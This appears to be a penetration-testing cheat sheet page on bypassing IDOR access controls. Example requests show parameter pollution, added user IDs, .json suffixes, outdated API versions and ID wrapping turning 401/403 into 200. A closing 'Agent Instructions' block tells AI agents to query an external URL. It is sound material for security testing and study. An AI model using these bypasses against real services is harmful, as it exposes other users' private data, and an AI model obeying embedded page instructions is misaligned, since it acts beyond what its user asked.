# IDOR ## Basics ``` Check for valuable words: {regex + perm} id {regex + perm} user {regex + perm} account {regex + perm} number {regex + perm} order {regex + perm} no {regex + perm} doc {regex + perm} key {regex + perm} email {regex + perm} group {regex + perm} profile {regex + perm} edit ``` ## Bypasses * Add parameters onto the endpoints for example, if there was ``` GET /api_v1/messages --> 401 vs GET /api_v1/messages?user_id=victim_uuid --> 200 ``` * HTTP Parameter pollution ``` GET /api_v1/messages?user_id=VICTIM_ID --> 401 Unauthorized GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID --> 200 OK GET /api_v1/messages?user_id=YOUR_USER_ID[]&user_id=ANOTHER_USERS_ID[] ``` * Add .json to the endpoint, if it is built in Ruby! ``` /user_data/2341 --> 401 Unauthorized /user_data/2341.json --> 200 OK ``` * Test on outdated API Versions ``` /v3/users_data/1234 --> 403 Forbidden /v1/users_data/1234 --> 200 OK ``` Wrap the ID with an array. ``` {“id”:111} --> 401 Unauthriozied {“id”:[111]} --> 200 OK ``` Wrap the ID with a JSON object: ``` {“id”:111} --> 401 Unauthriozied {“id”:{“id”:111}} --> 200 OK ``` JSON Parameter Pollution: ``` POST /api/get_profile Content-Type: application/json {“user_id”:,”user_id”:} ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://www.pentest-book.com/enumeration/web/idor.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.